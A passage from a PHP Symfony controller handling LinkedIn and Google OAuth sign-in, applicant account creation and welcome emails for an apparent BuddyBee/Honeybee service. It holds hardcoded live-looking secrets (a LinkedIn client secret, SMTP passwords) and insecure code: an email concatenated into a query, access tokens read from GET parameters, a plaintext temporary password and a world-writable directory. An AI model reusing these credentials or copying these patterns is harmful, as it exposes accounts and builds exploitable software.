  7228.                 return $this->redirectToRoute($redirectRoute);
  7229.         }
  7230.         $google_client = new Google_Client();
  7231. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  7232. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  7233.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  7234.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  7235.         } else {
  7236.             $url $this->generateUrl(
  7237.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  7238.             );
  7239.         }
  7240.         $selector BuddybeeConstant::$selector;
  7241.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7242.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7243. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  7244. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  7245.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  7246. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  7247.         $google_client->setRedirectUri($url);
  7248.         $google_client->setAccessType('offline');        // offline access
  7249.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  7250.         $google_client->addScope('email');
  7251.         $google_client->addScope('profile');
  7252.         $google_client->addScope('openid');
  7253. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  7254.         //linked in 1st
  7255.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  7256.             $curl curl_init();
  7257.             curl_setopt_array($curl, array(
  7258.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  7259.                 CURLOPT_HEADER => false,  // don't return headers
  7260.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7261.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7262.                 CURLOPT_ENCODING => "",     // handle compressed
  7263.                 CURLOPT_USERAGENT => "test"// name of client
  7264.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7265.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7266.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  7267.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  7268.                 CURLOPT_USERAGENT => 'InnoPM',
  7269.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  7270.                 CURLOPT_POST => 1,
  7271.                 CURLOPT_HTTPHEADER => array(
  7272.                     'Content-Type: application/x-www-form-urlencoded'
  7273.                 )
  7274.             ));
  7275.             $content curl_exec($curl);
  7276.             $contentArray = [];
  7277.             curl_close($curl);
  7278.             $token false;
  7279. //      return new JsonResponse(array(
  7280. //          'content'=>$content,
  7281. //          'contentArray'=>json_decode($content,true),
  7282. //
  7283. //      ));
  7284.             if ($content) {
  7285.                 $contentArray json_decode($contenttrue);
  7286.                 $token $contentArray['access_token'];
  7287.             }
  7288.             if ($token) {
  7289.                 $applicantInfo = [];
  7290.                 $curl curl_init();
  7291.                 curl_setopt_array($curl, array(
  7292.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7293.                     CURLOPT_HEADER => false,  // don't return headers
  7294.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7295.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7296.                     CURLOPT_ENCODING => "",     // handle compressed
  7297.                     CURLOPT_USERAGENT => "test"// name of client
  7298.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7299.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7300.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7301.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  7302.                     CURLOPT_USERAGENT => 'InnoPM',
  7303.                     CURLOPT_HTTPGET => 1,
  7304.                     CURLOPT_HTTPHEADER => array(
  7305.                         'Authorization: Bearer ' $token,
  7306.                         'Header-Key-2: Header-Value-2'
  7307.                     )
  7308.                 ));
  7309.                 $userGeneralcontent curl_exec($curl);
  7310.                 curl_close($curl);
  7311.                 if ($userGeneralcontent) {
  7312.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  7313.                 }
  7314.                 $curl curl_init();
  7315.                 curl_setopt_array($curl, array(
  7316.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7317.                     CURLOPT_HEADER => false,  // don't return headers
  7318.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7319.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7320.                     CURLOPT_ENCODING => "",     // handle compressed
  7321.                     CURLOPT_USERAGENT => "test"// name of client
  7322.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7323.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7324.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7325.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  7326. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  7327.                     CURLOPT_USERAGENT => 'InnoPM',
  7328.                     CURLOPT_HTTPGET => 1,
  7329.                     CURLOPT_HTTPHEADER => array(
  7330.                         'Authorization: Bearer ' $token,
  7331.                         'Header-Key-2: Header-Value-2'
  7332.                     )
  7333.                 ));
  7334.                 $userEmailcontent curl_exec($curl);
  7335.                 curl_close($curl);
  7336.                 $token false;
  7337.                 if ($userEmailcontent) {
  7338.                     $userEmailcontent json_decode($userEmailcontenttrue);
  7339.                 }
  7340. //        $oAuthEmail = $applicantInfo['email'];
  7341. //        return new JsonResponse(array(
  7342. //          'userEmailcontent'=>$userEmailcontent,
  7343. //          'userGeneralcontent'=>$userGeneralcontent,
  7344. //        ));
  7345. //        return new response($userGeneralcontent);
  7346.                 $oAuthData = [
  7347.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7348.                     'uniqueId' => $userGeneralcontent['id'],
  7349.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  7350.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7351.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  7352.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  7353.                     'lastName' => $userGeneralcontent['localizedLastName'],
  7354.                     'type' => 1,
  7355.                     'token' => $token,
  7356.                 ];
  7357.             }
  7358.         } else if (isset($_GET["code"])) {
  7359.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  7360.             if (!isset($token['error'])) {
  7361.                 $google_client->setAccessToken($token['access_token']);
  7362.                 $google_service = new Google_Service_Oauth2($google_client);
  7363.                 $applicantInfo $google_service->userinfo->get();
  7364.                 $oAuthEmail $applicantInfo['email'];
  7365.                 $oAuthData = [
  7366.                     'email' => $applicantInfo['email'],
  7367.                     'uniqueId' => $applicantInfo['id'],
  7368.                     'image' => $applicantInfo['picture'],
  7369.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7370.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7371.                     'firstName' => $applicantInfo['givenName'],
  7372.                     'lastName' => $applicantInfo['familyName'],
  7373.                     'type' => $token['token_type'],
  7374.                     'token' => $token['access_token'],
  7375.                 ];
  7376.             }
  7377.         } else if (isset($_GET["access_token"])) {
  7378.             $token $_GET["access_token"];
  7379.             $tokenType $_GET["token_type"];
  7380.             if (!isset($token['error'])) {
  7381.                 $google_client->setAccessToken($token);
  7382.                 $google_service = new Google_Service_Oauth2($google_client);
  7383.                 $applicantInfo $google_service->userinfo->get();
  7384.                 $oAuthEmail $applicantInfo['email'];
  7385.                 $oAuthData = [
  7386.                     'email' => $applicantInfo['email'],
  7387.                     'uniqueId' => $applicantInfo['id'],
  7388.                     'image' => $applicantInfo['picture'],
  7389.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7390.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7391.                     'firstName' => $applicantInfo['givenName'],
  7392.                     'lastName' => $applicantInfo['familyName'],
  7393.                     'type' => $tokenType,
  7394.                     'token' => $token,
  7395.                 ];
  7396.             }
  7397.         }
  7398.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  7399.             $isApplicantExist $applicantRepo->findOneBy([
  7400.                 'email' => $oAuthData['email']
  7401.             ]);
  7402.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  7403.                 $isApplicantExist $applicantRepo->findOneBy([
  7404.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  7405.                 ]);
  7406.             }
  7407.             if (!$isApplicantExist) {
  7408.                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  7409.                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  7410.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  7411.                     ->getQuery()
  7412.                     ->getResult();
  7413.                 if (!empty($usersQueried))
  7414.                     $isApplicantExist $usersQueried[0];
  7415.             }
  7416.             if ($isApplicantExist) {
  7417.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7418.                 } else
  7419.                     return $this->redirectToRoute("core_login", [
  7420.                         'id' => $isApplicantExist->getApplicantId(),
  7421.                         'oAuthData' => $oAuthData,
  7422.                         'encData' => $encData,
  7423.                         'locale' => $request->request->get('locale''en'),
  7424.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7425.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7426.                     ]);
  7427.             } else {
  7428.                 $fname $oAuthData['firstName'];
  7429.                 $lname $oAuthData['lastName'];
  7430.                 $img $oAuthData['image'];
  7431.                 $email $oAuthData['email'];
  7432.                 $oAuthEmail $oAuthData['email'];
  7433.                 $userName explode('@'$email)[0];
  7434.                 //now check if same username exists
  7435.                 $username_already_exist 1;
  7436.                 $initial_user_name $userName;
  7437.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  7438.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  7439.                     $isUsernameExist $applicantRepo->findOneBy([
  7440.                         'username' => $userName
  7441.                     ]);
  7442.                     if ($isUsernameExist) {
  7443.                         $username_already_exist 1;
  7444.                         $userName $initial_user_name '' rand(3009987);
  7445.                     } else {
  7446.                         $username_already_exist 0;
  7447.                     }
  7448.                     $timeoutSafeCount--;
  7449.                 }
  7450.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  7451.                     $currentUnixTimeStamp '';
  7452.                     $currentUnixTime = new \DateTime();
  7453.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  7454.                     $userName $userName '' $currentUnixTimeStamp;
  7455.                 }
  7456.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  7457.                 $charactersLength strlen($characters);
  7458.                 $length 8;
  7459.                 $password 0;
  7460.                 for ($i 0$i $length$i++) {
  7461.                     $password .= $characters[rand(0$charactersLength 1)];
  7462.                 }
  7463.                 $newApplicant = new EntityApplicantDetails();
  7464.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  7465.                 $newApplicant->setEmail($email);
  7466.                 $newApplicant->setUserName($userName);
  7467.                 $newApplicant->setFirstname($fname);
  7468.                 $newApplicant->setLastname($lname);
  7469.                 $newApplicant->setOAuthEmail($oAuthEmail);
  7470.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  7471.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  7472.                 $newApplicant->setAccountStatus(1);
  7473.                 $salt uniqid(mt_rand());
  7474.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  7475.                 $newApplicant->setPassword($encodedPassword);
  7476.                 $newApplicant->setSalt($salt);
  7477.                 $newApplicant->setTempPassword($password);;
  7478. //                $newApplicant->setPassword($password);
  7479.                 $marker $userName '-' time();
  7480. //                $extension_here=$uploadedFile->guessExtension();
  7481. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  7482. //                $path = $fileName;
  7483.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  7484.                 if (!file_exists($upl_dir)) {
  7485.                     mkdir($upl_dir0777true);
  7486.                 }
  7487.                 $ch curl_init($img);
  7488.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  7489.                 curl_setopt($chCURLOPT_FILE$fp);
  7490.                 curl_setopt($chCURLOPT_HEADER0);
  7491.                 curl_exec($ch);
  7492.                 curl_close($ch);
  7493.                 fclose($fp);
  7494.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  7495. //                $newApplicant->setImage($img);
  7496.                 $newApplicant->setIsConsultant(0);
  7497.                 $newApplicant->setIsTemporaryEntry(0);
  7498.                 $newApplicant->setApplyForConsultant(0);
  7499.                 $em->persist($newApplicant);
  7500.                 $em->flush();
  7501.                 $isApplicantExist $newApplicant;
  7502.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  7503.                     if ($systemType == '_BUDDYBEE_') {
  7504.                         $bodyHtml '';
  7505.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  7506.                         $bodyData = array(
  7507.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7508.                             'email' => $userName,
  7509.                             'password' => $newApplicant->getPassword(),
  7510.                         );
  7511.                         $attachments = [];
  7512.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7513. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7514.                         $new_mail $this->get('mail_module');
  7515.                         $new_mail->sendMyMail(array(
  7516.                             'senderHash' => '_CUSTOM_',
  7517.                             //                        'senderHash'=>'_CUSTOM_',
  7518.                             'forwardToMailAddress' => $forwardToMailAddress,
  7519.                             'subject' => 'Welcome to BuddyBee ',
  7520. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7521.                             'attachments' => $attachments,
  7522.                             'toAddress' => $forwardToMailAddress,
  7523.                             'fromAddress' => 'registration@buddybee.eu',
  7524.                             'userName' => 'registration@buddybee.eu',
  7525.                             'password' => 'Y41dh8g0112',
  7526.                             'smtpServer' => 'smtp.hostinger.com',
  7527.                             'smtpPort' => 465,
  7528.                             'encryptionMethod' => 'ssl',
  7529. //                            'emailBody' => $bodyHtml,
  7530.                             'mailTemplate' => $bodyTemplate,
  7531.                             'templateData' => $bodyData,
  7532. //                        'embedCompanyImage' => 1,
  7533. //                        'companyId' => $companyId,
  7534. //                        'companyImagePath' => $company_data->getImage()
  7535.                         ));
  7536.                     } else {
  7537.                         $bodyHtml '';
  7538.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  7539.                         $bodyData = array(
  7540.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7541.                             'email' => 'APP-' $userName,
  7542.                             'password' => $newApplicant->getPassword(),
  7543.                         );
  7544.                         $attachments = [];
  7545.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7546. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7547.                         $new_mail $this->get('mail_module');
  7548.                         $new_mail->sendMyMail(array(
  7549.                             'senderHash' => '_CUSTOM_',
  7550.                             //                        'senderHash'=>'_CUSTOM_',
  7551.                             'forwardToMailAddress' => $forwardToMailAddress,
  7552.                             'subject' => 'Applicant Registration on Honeybee',
  7553. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7554.                             'attachments' => $attachments,
  7555.                             'toAddress' => $forwardToMailAddress,
  7556.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  7557.                             'userName' => 'accounts@ourhoneybee.eu',
  7558.                             'password' => 'Honeybee@0112',
  7559.                             'smtpServer' => 'smtp.hostinger.com',
  7560.                             'smtpPort' => 465,
  7561.                             'encryptionMethod' => 'ssl',
  7562. //                            'emailBody' => $bodyHtml,
  7563.                             'mailTemplate' => $bodyTemplate,
  7564.                             'templateData' => $bodyData,
  7565. //                        'embedCompanyImage' => 1,
  7566. //                        'companyId' => $companyId,
  7567. //                        'companyImagePath' => $company_data->getImage()
  7568.                         ));
  7569.                     }
  7570.                 }
  7571.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7572.                 } else {
  7573.                     return $this->redirectToRoute("core_login", [
  7574.                         'id' => $newApplicant->getApplicantId(),
  7575.                         'oAuthData' => $oAuthData,
  7576.                         'encData' => $encData,
  7577.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7578.                         'locale' => $request->request->get('locale''en'),
  7579.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7580.                     ]);
  7581.                 }
  7582.             }
  7583.         }
  7584.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7585.             if ($isApplicantExist) {
  7586.                 $user $isApplicantExist;
  7587.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7588.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  7589.                 $globalId $user->getApplicantId();
  7590.                 $gocList $em
  7591.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  7592.                     ->findBy(
  7593.                         array(//                        'active' => 1
  7594.                         )
  7595.                     );
  7596.                 $gocDataList = [];
  7597.                 $gocDataListForLoginWeb = [];
  7598.                 $gocDataListByAppId = [];
  7599.                 foreach ($gocList as $entry) {
  7600.                     $d = array(
  7601.                         'name' => $entry->getName(),
  7602.                         'image' => $entry->getImage(),
  7603.                         'id' => $entry->getId(),
  7604.                         'appId' => $entry->getAppId(),
  7605.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  7606.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  7607.                         'dbName' => $entry->getDbName(),
  7608.                         'dbUser' => $entry->getDbUser(),
  7609.                         'dbPass' => $entry->getDbPass(),
  7610.                         'dbHost' => $entry->getDbHost(),
  7611.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  7612.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  7613.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  7614.                         'companyRemaining' => $entry->getCompanyRemaining(),
  7615.                         'companyAllowed' => $entry->getCompanyAllowed(),
  7616.                     );
  7617.                     $gocDataList[$entry->getId()] = $d;
  7618.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  7619.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  7620.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  7621.                 }
  7622.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  7623.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  7624.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  7625.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  7626.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  7627.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  7628.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  7629.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  7630.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  7631.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  7632.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  7633.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  7634.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  7635.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  7636.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  7637.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  7638.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  7639.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  7640.                     $session->set(UserConstants::USER_COMPANY_ID1);
  7641.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  7642.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  7643.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7644.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  7645.                     $session->set('userCompanyVibrantList'json_encode([]));
  7646.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  7647.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7648.                     $session->set(UserConstants::USER_APP_ID0);
  7649.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  7650.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  7651.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  7652.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  7653.                     $session->set(UserConstants::USER_GOC_ID0);
  7654.                     $session->set(UserConstants::USER_DB_NAME'');
  7655.                     $session->set(UserConstants::USER_DB_USER'');
  7656.                     $session->set(UserConstants::USER_DB_PASS'');
  7657.                     $session->set(UserConstants::USER_DB_HOST'');
  7658.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  7659.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  7660.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  7661.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  7662.                     $session->set('locale'$request->request->get('locale'''));
  7663.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  7664.                     $route_list_array = [];
  7665.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  7666.                     $loginID 0;
  7667.                     $loginID MiscActions::addEntityUserLoginLog(
  7668.                         $em,
  7669.                         $session->get(UserConstants::USER_ID),
  7670.                         $session->get(UserConstants::USER_ID),
  7671.                         1,
  7672.                         $request->server->get("REMOTE_ADDR"),
  7673.                         0,
  7674.                         $request->request->get('deviceId'''),
  7675.                         $request->request->get('oAuthToken'''),
  7676.                         $request->request->get('oAuthType'''),
  7677.                         $request->request->get('locale'''),
  7678.                         $request->request->get('firebaseToken''')
  7679.                     );
  7680.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  7681.                     $session_data = array(
  7682.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  7683.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  7684.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  7685.                         'oAuthToken' => $session->get('oAuthToken'),
  7686.                         'locale' => $session->get('locale'),
  7687.                         'firebaseToken' => $session->get('firebaseToken'),
  7688.                         'token' => $session->get('token'),
  7689.                         'firstLogin' => 0,
  7690.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7691.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7692.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7693.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7694.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7695.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7696.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7697.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7698.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7699.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7700.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7701.                         'oAuthImage' => $session->get('oAuthImage'),
  7702.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7703.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7704.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7705.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7706.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7707.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7708.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7709.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7710.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7711.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7712.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7713.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7714.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7715.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7716.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7717.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7718.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7719.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7720.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7721.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7722.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7723.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7724.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7725.                         //new
  7726.                         'appIdList' => $session->get('appIdList'),
  7727.                         'branchIdList' => $session->get('branchIdList'null),
  7728.                         'branchId' => $session->get('branchId'null),
  7729.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7730.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7731.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7732.                     );
  7733.                     $accessList = [];
  7734. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7735.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7736.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7737.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7738.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7739.                                 $d = array(
  7740.                                     'userType' => $thisUserUserType,
  7741. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7742.                                     'userTypeName' => $userTypeName,
  7743.                                     'globalId' => $globalId,
  7744.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7745.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7746.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7747.                                     'systemType' => '_ERP_',
  7748.                                     'companyId' => 1,
  7749.                                     'appId' => $thisUserAppId,
  7750.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7751.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7752.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7753.                                             array(
  7754.                                                 'globalId' => $globalId,
  7755.                                                 'appId' => $thisUserAppId,
  7756.                                                 'authenticate' => 1,
  7757.                                                 'userType' => $thisUserUserType,
  7758.                                                 'userTypeName' => $userTypeName
  7759.                                             )
  7760.                                         )
  7761.                                     ),
  7762.                                     'userCompanyList' => [
  7763.                                     ]
  7764.                                 );
  7765.                                 $accessList[] = $d;
  7766.                             }
